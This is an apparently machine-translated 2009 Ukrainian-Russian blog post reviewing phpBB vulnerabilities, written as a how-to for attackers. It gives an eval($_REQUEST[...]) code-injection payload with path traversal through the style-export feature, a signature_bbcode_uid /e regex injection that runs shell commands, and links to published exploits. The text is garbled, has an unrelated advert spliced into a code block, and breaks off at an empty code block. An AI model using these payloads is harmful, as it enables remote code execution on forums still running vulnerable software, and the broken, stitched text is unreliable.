Онлайн форуми

Mar

21

Огляд уязвімостей phpBB

Разместил в 21 March 2009


« Оптимізація шаблонів форуму phpBB   |   phpBB - огляд форумного движка »

a=12;eval($_REQUEST[kiborg]);exit(0);//../../../../../../../tmp/Мы створили стиль, тепер треба його експортувати у форум. Тиснемо посилання “Експорт”, там буде струму поточний стиль, правимо сурс, міняємо його на

Код:
a=12;eval($_REQUEST[kiborg]);exit(0);//../../../../../../../tmp/В теці /tmp/ з’явитися файл theme_info.cfg.

Заходивши по посиланню

http://localhost/phpbb13/admin/admin…org=phpinfo();

нам покажеться phpinfo();

Exploit: http://milw0rm.com/exploits/1247

3) Бага в профайле signature_bbcode_uid (Потрібний юзер, з будь-якими правами).

Як юзать: Означає регаємся на форумі, заходимо в профайл. Правимо сторінку..

Код:
<form action=”profile.php” enctype=”multipart/form-data” method=”post”>меняем на

Код:
Монтаж и настройка, домашние кинотеатры samsung. <form action=”profile.php?GLOBALS[signature_bbcode_uid]=(.%2B)/e%00″ enctype=”multipart/form-data” method=”post”>В підпис(Signature) сунемо таку беку

Код:
kibi:`ls`Вообщем, спочатку будь-яке слово, потім двокрапка,а після нього php код. Вставляємо, зберігаємо, повземо назад в профайл, і ніжно іздихаєм, від результатів.

Бага настока рідкісна, що просто охренеть.

Для неї умови

# 1. PHP 5 < 5.0.5

# 2. register_globals=On

# 3. magic_quotes off

ЦЕ ДУЖЕ РІДКІСНЕ поєднання, тому не дивуйтеся, якщо орати не буде.

Exploit: http://milw0rm.com/exploits/1388

4) Після того, як “залатали” багу (3), виявилося, що залатали, висновок в профайл, а сама бага жива. (Потрібні адмінськіє має рацію).

Video: http://video.antichat.ru/file178.html

Ця бага прісутсвуєт, майже на всіх форумах, її рідко де залатали.

Як юзать:

Створюємо текстовий файл 1.sql сунемо в нього код

Код:


Tags: , , , , , ,

PhpBB


Схожі записи

PhpBB - Огляд уязвімостей phpBB alive.in.ua
Copyright © 2009  Онлайн форуми , 0.009 seconds, 1.547 Mb871